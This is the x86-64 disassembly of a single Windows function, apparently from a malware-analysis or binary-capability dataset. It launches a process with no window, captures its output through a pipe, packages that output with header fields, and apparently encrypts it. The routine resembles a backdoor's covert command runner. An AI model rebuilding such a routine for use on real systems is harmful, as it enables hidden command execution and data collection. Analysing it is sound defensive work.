Function at 0x2eda350ab
Capabilities:
Create pipe
Create process on windows
Get common file path
Read file on windows
Read pipe
Terminate process

Disassembly:
push rbp
sub rsp, 0x4a0
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x430], rcx
mov dword [rbp + 0x438], edx
mov qword [rbp + 0x440], r8
mov qword [rbp + 0x448], r9
mov dword [rbp + 0x3fc], 0
mov dword [rbp + 0x40c], 0
mov qword [rbp + 0x3f0], 0
mov qword [rbp + 0x3e8], 0
mov qword [rbp + 0x400], 0
lea rax, [rbp + 0x300]
mov r8d, 0x18
mov edx, 0
mov rcx, rax
call sub.msvcrt.dll_memset
mov dword [rbp + 0x300], 0x18
mov dword [rbp + 0x310], 1
mov qword [rbp + 0x308], 0
lea rcx, [rbp + 0x300]
lea rdx, [rbp + 0x2f0]
lea rax, [rbp + 0x2f8]
mov r9d, 0x100000
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreatePipe]
call rax
test eax, eax
je 0x2eda35868
mov rax, qword [rbp + 0x2f8]
mov r8d, 0
mov edx, 1
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetHandleInformation]
call rax
lea rax, [rbp + 0x340]
mov r8d, 0x68
mov edx, 0
mov rcx, rax
call sub.msvcrt.dll_memset
lea rax, [rbp + 0x320]
mov r8d, 0x18
mov edx, 0
mov rcx, rax
call sub.msvcrt.dll_memset
mov dword [rbp + 0x340], 0x68
mov rax, qword [rbp + 0x2f0]
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x2f0]
mov qword [rbp + 0x398], rax
mov eax, dword [rbp + 0x37c]
or ah, 1
mov dword [rbp + 0x37c], eax
mov rax, qword [rbp + 0x440]
mov rcx, rax
call fcn.2eda32f00
mov qword [rbp + 0x3e0], rax
cmp qword [rbp + 0x3e0], 0
je 0x2eda35842
mov rax, qword [rbp + 0x3e0]
mov rcx, rax
call sub.msvcrt.dll_wcslen
add rax, 0x401
mov qword [rbp + 0x3d8], rax
mov rax, qword [rbp + 0x3d8]
add rax, rax
mov rcx, rax
call fcn.2eda36950
mov qword [rbp + 0x3d0], rax
cmp qword [rbp + 0x3d0], 0
je 0x2eda35833
lea rcx, [0x2eda40628]
call fcn.2eda37e7e
mov qword [rbp + 0x3f0], rax
mov r8, qword [rbp + 0x3e0]
mov rcx, qword [rbp + 0x3f0]
mov rdx, qword [rbp + 0x3d8]
mov rax, qword [rbp + 0x3d0]
mov r9, r8
mov r8, rcx
mov rcx, rax
call fcn.2eda32df8
mov rax, qword [rbp + 0x3f0]
mov rcx, rax
call fcn.2eda37f8e
lea rax, [rbp + 0xe0]
mov rdx, rax
mov ecx, 0x104
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
call rax
mov rax, qword [rbp + 0x3d0]
lea rdx, [rbp + 0x320]
mov qword [rsp + 0x48], rdx
lea rdx, [rbp + 0x340]
mov qword [rsp + 0x40], rdx
lea rdx, [rbp + 0xe0]
mov qword [rsp + 0x38], rdx
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 1
mov r9d, 0
mov r8d, 0
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessW]
call rax
test eax, eax
je 0x2eda35824
mov rax, qword [rbp + 0x320]
mov edx, 0x1388
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov rax, qword [rbp + 0x3e0]
mov rcx, rax
call fcn.2eda34e08
mov dword [rbp + 0x3fc], eax
mov dword [rbp + 0x2ec], 0
mov dword [rbp + 0x41c], 0
jmp 0x2eda35392
cmp dword [rbp + 0x41c], 0x32
ja 0x2eda353db
mov ecx, 0x64
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
add dword [rbp + 0x41c], 1
mov rax, qword [rbp + 0x2f8]
mov qword [rsp + 0x28], 0
lea rdx, [rbp + 0x2ec]
mov qword [rsp + 0x20], rdx
mov r9d, 0
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
call rax
test eax, eax
je 0x2eda353dc
mov eax, dword [rbp + 0x2ec]
test eax, eax
je 0x2eda35374
jmp 0x2eda353dc
nop
mov eax, dword [rbp + 0x2ec]
test eax, eax
jne 0x2eda35461
mov dword [rbp + 0x40c], 1
cmp dword [rbp + 0x3fc], 0
je 0x2eda35457
lea rax, [rbp + 0xe0]
mov rdx, rax
mov ecx, 0x104
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
call rax
lea rax, [rbp + 0xe0]
mov rcx, rax
call fcn.2eda32fa1
mov qword [rbp + 0x410], rax
cmp qword [rbp + 0x410], 0
je 0x2eda3544b
mov rax, qword [rbp + 0x410]
mov rcx, rax
call sub.msvcrt.dll_strlen
add eax, 3
mov dword [rbp + 0x2ec], eax
jmp 0x2eda35461
mov dword [rbp + 0x2ec], 1
jmp 0x2eda35461
mov dword [rbp + 0x2ec], 0x14
mov eax, dword [rbp + 0x2ec]
add eax, 1
mov eax, eax
mov rcx, rax
call fcn.2eda36950
mov qword [rbp + 0x3c8], rax
cmp qword [rbp + 0x3c8], 0
je 0x2eda357e6
cmp dword [rbp + 0x40c], 0
je 0x2eda35533
cmp dword [rbp + 0x3fc], 0
je 0x2eda354f9
cmp qword [rbp + 0x410], 0
je 0x2eda35569
mov rdx, qword [rbp + 0x410]
mov rax, qword [rbp + 0x3c8]
mov rcx, rax
call sub.msvcrt.dll_strcpy
mov rax, qword [rbp + 0x3c8]
mov rcx, rax
call sub.msvcrt.dll_strlen
mov rdx, rax
mov rax, qword [rbp + 0x3c8]
add rax, rdx
mov word [rax], 0xa0d
mov byte [rax + 2], 0
mov rax, qword [rbp + 0x410]
mov rcx, rax
call fcn.2eda369bb
jmp 0x2eda35569
lea rcx, [0x2eda4064d]
call fcn.2eda37d70
mov qword [rbp + 0x3e8], rax
mov rdx, qword [rbp + 0x3e8]
mov rax, qword [rbp + 0x3c8]
mov rcx, rax
call sub.msvcrt.dll_strcpy
mov rax, qword [rbp + 0x3e8]
mov rcx, rax
call fcn.2eda37f8e
jmp 0x2eda35569
mov ecx, dword [rbp + 0x2ec]
mov rax, qword [rbp + 0x2f8]
lea r8, [rbp + 0x2e8]
mov rdx, qword [rbp + 0x3c8]
mov qword [rsp + 0x20], 0
mov r9, r8
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_ReadFile]
call rax
mov eax, dword [rbp + 0x2ec]
mov eax, eax
add rax, 1
add rax, rax
mov rcx, rax
call fcn.2eda36950
mov qword [rbp + 0x3c0], rax
cmp qword [rbp + 0x3c0], 0
je 0x2eda357d7
mov eax, dword [rbp + 0x2ec]
add eax, 1
mov rdx, qword [rbp + 0x3c8]
mov dword [rsp + 0x28], eax
mov rax, qword [rbp + 0x3c0]
mov qword [rsp + 0x20], rax
mov r9d, 0xffffffff
mov r8, rdx
mov edx, 0
mov ecx, 1
mov rax, qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
call rax
mov rax, qword [rbp + 0x3c0]
mov rcx, rax
call fcn.2eda32e42
mov qword [rbp + 0x3b8], rax
cmp qword [rbp + 0x3b8], 0
je 0x2eda357c8
mov eax, dword [rbp + 0x2ec]
test eax, eax
je 0x2eda357b9
mov eax, dword [rbp + 0x2ec]
mov eax, eax
add rax, 0x201
add rax, rax
mov rcx, rax
call fcn.2eda36950
mov qword [rbp + 0x3b0], rax
cmp qword [rbp + 0x3b0], 0
je 0x2eda357b9
mov rax, qword [rbp + 0x3b0]
lea rdx, [rax + 4]
mov rax, qword [rbp + 0x430]
mov eax, dword [rax]
mov dword [rdx], eax
mov rax, qword [rbp + 0x3b0]
lea rdx, [rax + 8]
mov rax, qword [rbp + 0x430]
mov eax, dword [rax + 4]
mov dword [rdx], eax
mov rax, qword [rbp + 0x3b0]
add rax, 0xc
mov dword [rax], 2
mov rax, qword [rbp + 0x3b0]
add rax, 0x10
mov dword [rax], 4
mov rax, qword [rbp + 0x3b0]
lea rdx, [rax + 0x14]
mov eax, dword [rbp + 0x438]
mov dword [rdx], eax
mov dword [rbp + 0x3ac], 0x24
mov rax, qword [rbp + 0x3b8]
mov rcx, rax
call sub.msvcrt.dll_strlen
mov r8d, eax
mov edx, dword [rbp + 0x3ac]
mov rax, qword [rbp + 0x3b0]
lea rcx, [rdx + rax]
mov rax, qword [rbp + 0x3b8]
mov rdx, rax
call fcn.2eda3152c
mov dword [rbp + 0x3a8], eax
mov rax, qword [rbp + 0x3b0]
lea rdx, [rax + 0x18]
mov eax, dword [rbp + 0x3ac]
mov dword [rdx], eax
mov rax, qword [rbp + 0x3b0]
lea rdx, [rax + 0x1c]
mov eax, dword [rbp + 0x3a8]
mov dword [rdx], eax
mov eax, dword [rbp + 0x3a8]
add eax, 3
and eax, 0xfffffffc
mov edx, eax
mov eax, dword [rbp + 0x3ac]
add eax, edx
mov dword [rbp + 0x2ec], eax
mov eax, dword [rbp + 0x2ec]
lea edx, [rax - 4]
mov rax, qword [rbp + 0x3b0]
add rax, 4
mov r8d, 0
mov rcx, rax
call fcn.2eda325a0
mov rdx, qword [rbp + 0x3b0]
mov dword [rdx], eax
cmp dword [rbp + 0x450], 0
je 0x2eda3579c
mov rax, qword [rbp + 0x448]
mov rcx, rax
call sub.msvcrt.dll_strlen
mov rcx, rax
mov rdx, qword [rbp + 0x448]
lea rax, [rbp - 0x30]
mov r8, rcx
mov rcx, rax
call fcn.2eda36f18
mov eax, dword [rbp + 0x2ec]
mov r8d, eax
mov rcx, qword [rbp + 0x3b0]
mov rdx, qword [rbp + 0x3b0]
lea rax, [rbp - 0x30]
mov r9, r8
mov r8, rcx
mov rcx, rax
call fcn.2eda36fe7
mov rax, qword [rbp + 0x3b0]
mov qword [rbp + 0x400], rax
mov edx, dword [rbp + 0x2ec]
mov rax, qword [rbp + 0x458]
mov dword [rax], edx
mov rax, qword [rbp + 0x3b8]
mov rcx, rax
call fcn.2eda369bb
mov rax, qword [rbp + 0x3c0]
mov rcx, rax
call fcn.2eda369bb
mov rax, qword [rbp + 0x3c8]
mov rcx, rax
call fcn.2eda369bb
mov rax, qword [rbp + 0x320]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_TerminateProcess]
call rax
mov rax, qword [rbp + 0x320]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x328]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x3d0]
mov rcx, rax
call fcn.2eda369bb
mov rax, qword [rbp + 0x3e0]
mov rcx, rax
call fcn.2eda369bb
mov rax, qword [rbp + 0x2f0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x2f8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x400]
add rsp, 0x4a0
pop rbp
ret